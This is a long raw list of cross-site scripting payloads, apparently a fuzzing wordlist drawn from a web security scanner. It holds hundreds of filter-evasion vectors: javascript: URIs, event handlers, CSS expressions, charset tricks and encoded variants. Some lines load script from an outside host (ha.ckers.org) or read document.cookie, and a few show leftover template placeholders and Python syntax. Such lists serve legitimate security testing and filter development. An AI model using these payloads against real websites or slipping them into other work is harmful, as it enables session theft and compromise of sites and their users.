<a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x22onerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x09onerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x00onerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x27onerror=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x \x20onerror=javascript:alert(1)>
|
||||||
|
"`'><script>\x3Bjavascript:alert(1)</script>
|
||||||
|
"`'><script>\x0Djavascript:alert(1)</script>
|
||||||
|
"`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x81javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x84javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE3\x80\x80javascript:alert(1)</script>
|
||||||
|
"`'><script>\x09javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x89javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x85javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x88javascript:alert(1)</script>
|
||||||
|
"`'><script>\x00javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\xA8javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE1\x9A\x80javascript:alert(1)</script>
|
||||||
|
"`'><script>\x0Cjavascript:alert(1)</script>
|
||||||
|
"`'><script>\x2Bjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
|
||||||
|
"`'><script>-javascript:alert(1)</script>
|
||||||
|
"`'><script>\x0Ajavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
|
||||||
|
"`'><script>\x7Ejavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x87javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\xA9javascript:alert(1)</script>
|
||||||
|
"`'><script>\xC2\x85javascript:alert(1)</script>
|
||||||
|
"`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x83javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x80javascript:alert(1)</script>
|
||||||
|
"`'><script>\x21javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x82javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE2\x80\x86javascript:alert(1)</script>
|
||||||
|
"`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
|
||||||
|
"`'><script>\x0Bjavascript:alert(1)</script>
|
||||||
|
"`'><script>\x20javascript:alert(1)</script>
|
||||||
|
"`'><script>\xC2\xA0javascript:alert(1)</script>
|
||||||
|
"/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
|
||||||
|
"/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
|
||||||
|
"/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
|
||||||
|
"/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
|
||||||
|
"/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
|
||||||
|
"/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
|
||||||
|
"/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
|
||||||
|
"/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
|
||||||
|
"/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
|
||||||
|
<script\x2F>javascript:alert(1)</script>
|
||||||
|
<script\x20>javascript:alert(1)</script>
|
||||||
|
<script\x0D>javascript:alert(1)</script>
|
||||||
|
<script\x0A>javascript:alert(1)</script>
|
||||||
|
<script\x0C>javascript:alert(1)</script>
|
||||||
|
<script\x00>javascript:alert(1)</script>
|
||||||
|
<script\x09>javascript:alert(1)</script>
|
||||||
|
`"'><img src=xxx:x onerror\x0B=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x onerror\x00=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x onerror\x0C=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x onerror\x0D=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x onerror\x20=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x onerror\x0A=javascript:alert(1)>
|
||||||
|
`"'><img src=xxx:x onerror\x09=javascript:alert(1)>
|
||||||
|
<script>javascript:alert(1)<\x00/script>
|
||||||
|
<img src=# onerror\x3D"javascript:alert(1)" >
|
||||||
|
<input onfocus=javascript:alert(1) autofocus>
|
||||||
|
<input onblur=javascript:alert(1) autofocus><input autofocus>
|
||||||
|
<video poster=javascript:javascript:alert(1)//
|
||||||
|
<body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
|
||||||
|
<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X
|
||||||
|
<video><source onerror="javascript:javascript:alert(1)">
|
||||||
|
<video onerror="javascript:javascript:alert(1)"><source>
|
||||||
|
<form><button formaction="javascript:javascript:alert(1)">X
|
||||||
|
<body oninput=javascript:alert(1)><input autofocus>
|
||||||
|
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
|
||||||
|
<frameset onload=javascript:alert(1)>
|
||||||
|
<table background="javascript:javascript:alert(1)">
|
||||||
|
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
|
||||||
|
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
|
||||||
|
<![><img src="]><img src=x onerror=javascript:alert(1)//">
|
||||||
|
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
|
||||||
|
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
|
||||||
|
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
|
||||||
|
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
|
||||||
|
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
|
||||||
|
<object data="data:text/html;base64,%(base64)s">
|
||||||
|
<embed src="data:text/html;base64,%(base64)s">
|
||||||
|
<b <script>alert(1)</script>0
|
||||||
|
<div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
|
||||||
|
<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
|
||||||
|
<embed src="javascript:alert(1)">
|
||||||
|
<img src="javascript:alert(1)">
|
||||||
|
<image src="javascript:alert(1)">
|
||||||
|
<script src="javascript:alert(1)">
|
||||||
|
<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
|
||||||
|
<? foo="><script>javascript:alert(1)</script>">
|
||||||
|
<! foo="><script>javascript:alert(1)</script>">
|
||||||
|
</ foo="><script>javascript:alert(1)</script>">
|
||||||
|
<? foo="><x foo='?><script>javascript:alert(1)</script>'>">
|
||||||
|
<! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
|
||||||
|
<% foo><x foo="%><script>javascript:alert(1)</script>">
|
||||||
|
<div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
|
||||||
|
<img \x00src=x onerror="alert(1)">
|
||||||
|
<img \x47src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x11src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x12src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x47src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x10src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x13src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x32src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x47src=x onerror="javascript:alert(1)">
|
||||||
|
<img\x11src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x47src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x34src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x39src=x onerror="javascript:alert(1)">
|
||||||
|
<img \x00src=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x09=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x10=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x13=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x32=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x12=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x11=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x00=x onerror="javascript:alert(1)">
|
||||||
|
<img src\x47=x onerror="javascript:alert(1)">
|
||||||
|
<img src=x\x09onerror="javascript:alert(1)">
|
||||||
|
<img src=x\x10onerror="javascript:alert(1)">
|
||||||
|
<img src=x\x11onerror="javascript:alert(1)">
|
||||||
|
<img src=x\x12onerror="javascript:alert(1)">
|
||||||
|
<img src=x\x13onerror="javascript:alert(1)">
|
||||||
|
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
|
||||||
|
<img src=x onerror=\x09"javascript:alert(1)">
|
||||||
|
<img src=x onerror=\x10"javascript:alert(1)">
|
||||||
|
<img src=x onerror=\x11"javascript:alert(1)">
|
||||||
|
<img src=x onerror=\x12"javascript:alert(1)">
|
||||||
|
<img src=x onerror=\x32"javascript:alert(1)">
|
||||||
|
<img src=x onerror=\x00"javascript:alert(1)">
|
||||||
|
<a href=javascript:javascript:alert(1)>XXX</a>
|
||||||
|
<img src="x` `<script>javascript:alert(1)</script>"` `>
|
||||||
|
<img src onerror /" '"= alt=javascript:alert(1)//">
|
||||||
|
<title onpropertychange=javascript:alert(1)></title><title title=>
|
||||||
|
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
|
||||||
|
<!--[if]><script>javascript:alert(1)</script -->
|
||||||
|
<!--[if<img src=x onerror=javascript:alert(1)//]> -->
|
||||||
|
<script src="/\%(jscript)s"></script>
|
||||||
|
<script src="\\%(jscript)s"></script>
|
||||||
|
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
|
||||||
|
<a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
|
||||||
|
<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
|
||||||
|
<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
|
||||||
|
<style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style>
|
||||||
|
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a>
|
||||||
|
<style>*[{}@import'%(css)s?]</style>X
|
||||||
|
<div style="font-family:'foo ;color:red;';">XXX
|
||||||
|
<div style="font-family:foo}color=red;">XXX
|
||||||
|
<// style=x:expression\28javascript:alert(1)\29>
|
||||||
|
<style>*{x:expression(javascript:alert(1))}</style>
|
||||||
|
<div style=content:url(%(svg)s)></div>
|
||||||
|
<div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
|
||||||
|
<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
|
||||||
|
<div style="background:url(/f#oo/;color:red/*/foo.jpg);">X
|
||||||
|
<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
|
||||||
|
<div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>
|
||||||
|
<x style="background:url('x;color:red;/*')">XXX</x>
|
||||||
|
<script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
|
||||||
|
<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
|
||||||
|
<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
|
||||||
|
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
|
||||||
|
<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
|
||||||
|
<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
|
||||||
|
<meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾
|
||||||
|
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
|
||||||
|
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`>
|
||||||
|
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>>
|
||||||
|
<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>
|
||||||
|
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
|
||||||
|
<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a>
|
||||||
|
<x style="behavior:url(%(sct)s)">
|
||||||
|
<xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
|
||||||
|
<event-source src="%(event)s" onload="javascript:alert(1)">
|
||||||
|
<a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
|
||||||
|
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=javascript:alert(1)>">
|
||||||
|
<script>%(payload)s</script>
|
||||||
|
<script src=%(jscript)s></script>
|
||||||
|
<script language='javascript' src='%(jscript)s'></script>
|
||||||
|
<script>javascript:alert(1)</script>
|
||||||
|
<IMG SRC="javascript:javascript:alert(1);">
|
||||||
|
<IMG SRC=javascript:javascript:alert(1)>
|
||||||
|
<IMG SRC=`javascript:javascript:alert(1)`>
|
||||||
|
<SCRIPT SRC=%(jscript)s?<B>
|
||||||
|
<FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
|
||||||
|
<BODY ONLOAD=javascript:alert(1)>
|
||||||
|
<BODY ONLOAD=javascript:javascript:alert(1)>
|
||||||
|
<IMG SRC="jav ascript:javascript:alert(1);">
|
||||||
|
<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)>
|
||||||
|
<SCRIPT/SRC="%(jscript)s"></SCRIPT>
|
||||||
|
<<SCRIPT>%(payload)s//<</SCRIPT>
|
||||||
|
<IMG SRC="javascript:javascript:alert(1)"
|
||||||
|
<iframe src=%(scriptlet)s <
|
||||||
|
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
|
||||||
|
<IMG DYNSRC="javascript:javascript:alert(1)">
|
||||||
|
<IMG LOWSRC="javascript:javascript:alert(1)">
|
||||||
|
<BGSOUND SRC="javascript:javascript:alert(1);">
|
||||||
|
<BR SIZE="&{javascript:alert(1)}">
|
||||||
|
<LAYER SRC="%(scriptlet)s"></LAYER>
|
||||||
|
<LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
|
||||||
|
<STYLE>@import'%(css)s';</STYLE>
|
||||||
|
<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
|
||||||
|
<XSS STYLE="behavior: url(%(htc)s);">
|
||||||
|
<STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
|
||||||
|
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
|
||||||
|
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);">
|
||||||
|
<IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
|
||||||
|
<TABLE BACKGROUND="javascript:javascript:alert(1)">
|
||||||
|
<TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
|
||||||
|
<DIV STYLE="background-image: url(javascript:javascript:alert(1))">
|
||||||
|
<DIV STYLE="width:expression(javascript:alert(1));">
|
||||||
|
<IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
|
||||||
|
<XSS STYLE="xss:expression(javascript:alert(1))">
|
||||||
|
<STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
|
||||||
|
<STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A>
|
||||||
|
<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
|
||||||
|
<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
|
||||||
|
<BASE HREF="javascript:javascript:alert(1);//">
|
||||||
|
<OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
|
||||||
|
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>
|
||||||
|
<HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(1)"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
|
||||||
|
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:alert(1)</SCRIPT>"></BODY></HTML>
|
||||||
|
<SCRIPT SRC="%(jpg)s"></SCRIPT>
|
||||||
|
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
|
||||||
|
<form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X
|
||||||
|
<body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
|
||||||
|
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)">
|
||||||
|
<STYLE>@import'%(css)s';</STYLE>
|
||||||
|
<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>
|
||||||
|
<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
|
||||||
|
<SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>
|
||||||
|
<style onreadystatechange=javascript:javascript:alert(1);></style>
|
||||||
|
<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>
|
||||||
|
<embed code=%(scriptlet)s></embed>
|
||||||
|
<embed code=javascript:javascript:alert(1);></embed>
|
||||||
|
<embed src=%(jscript)s></embed>
|
||||||
|
<frameset onload=javascript:javascript:alert(1)></frameset>
|
||||||
|
<object onerror=javascript:javascript:alert(1)>
|
||||||
|
<embed type="image" src=%(scriptlet)s></embed>
|
||||||
|
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml>
|
||||||
|
<IMG SRC=&{javascript:alert(1);};>
|
||||||
|
<a href="javAascript:javascript:alert(1)">test1</a>
|
||||||
|
<a href="javaascript:javascript:alert(1)">test1</a>
|
||||||
|
<embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
|
||||||
|
<iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(1)&gt;>">
|
||||||
|
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
|
||||||
|
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
|
||||||
|
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||||
|
'';!--"<XSS>=&{()}
|
||||||
|
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||||
|
<IMG SRC="javascript:alert('XSS');">
|
||||||
|
<IMG SRC=javascript:alert('XSS')>
|
||||||
|
<IMG SRC=JaVaScRiPt:alert('XSS')>
|
||||||
|
<IMG SRC=javascript:alert("XSS")>
|
||||||
|
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
|
||||||
|
<a onmouseover="alert(document.cookie)">xxs link</a>
|
||||||
|
<a onmouseover=alert(document.cookie)>xxs link</a>
|
||||||
|
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
|
||||||
|
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
||||||
|
<IMG SRC=# onmouseover="alert('xxs')">
|
||||||
|
<IMG SRC= onmouseover="alert('xxs')">
|
||||||
|
<IMG onmouseover="alert('xxs')">
|
||||||
|
<IMG SRC=javascript:alert('XSS')>
|
||||||
|
<IMG SRC=javascript:alert('XSS')>
|
||||||
|
<IMG SRC=javascript:alert('XSS')>
|
||||||
|
<IMG SRC="jav ascript:alert('XSS');">
|
||||||
|
<IMG SRC="jav	ascript:alert('XSS');">
|
||||||
|
<IMG SRC="jav
ascript:alert('XSS');">
|
||||||
|
<IMG SRC="jav
ascript:alert('XSS');">
|
||||||
|
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
|
||||||
|
<IMG SRC="  javascript:alert('XSS');">
|
||||||
|
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
|
||||||
|
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||||
|
<<SCRIPT>alert("XSS");//<</SCRIPT>
|
||||||
|
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
|
||||||
|
<SCRIPT SRC=//ha.ckers.org/.j>
|
||||||
|
<IMG SRC="javascript:alert('XSS')"
|
||||||
|
<iframe src=http://ha.ckers.org/scriptlet.html <
|
||||||
|
\";alert('XSS');//
|
||||||
|
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
|
||||||
|
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
|
||||||
|
<BODY BACKGROUND="javascript:alert('XSS')">
|
||||||
|
<IMG DYNSRC="javascript:alert('XSS')">
|
||||||
|
<IMG LOWSRC="javascript:alert('XSS')">
|
||||||
|
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
|
||||||
|
<IMG SRC='vbscript:msgbox("XSS")'>
|
||||||
|
<IMG SRC="livescript:[code]">
|
||||||
|
<BODY ONLOAD=alert('XSS')>
|
||||||
|
<BGSOUND SRC="javascript:alert('XSS');">
|
||||||
|
<BR SIZE="&{alert('XSS')}">
|
||||||
|
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
|
||||||
|
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
|
||||||
|
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
|
||||||
|
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
|
||||||
|
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
|
||||||
|
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
|
||||||
|
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
|
||||||
|
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
|
||||||
|
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
|
||||||
|
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
|
||||||
|
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
|
||||||
|
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
|
||||||
|
<XSS STYLE="xss:expression(alert('XSS'))">
|
||||||
|
<XSS STYLE="behavior: url(xss.htc);">
|
||||||
|
¼script¾alert(¢XSS¢)¼/script¾
|
||||||
|
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
|
||||||
|
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
|
||||||
|
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
|
||||||
|
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
|
||||||
|
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
|
||||||
|
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
|
||||||
|
<TABLE BACKGROUND="javascript:alert('XSS')">
|
||||||
|
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
|
||||||
|
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||||
|
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
|
||||||
|
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||||
|
<DIV STYLE="width: expression(alert('XSS'));">
|
||||||
|
<BASE HREF="javascript:alert('XSS');//">
|
||||||
|
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
|
||||||
|
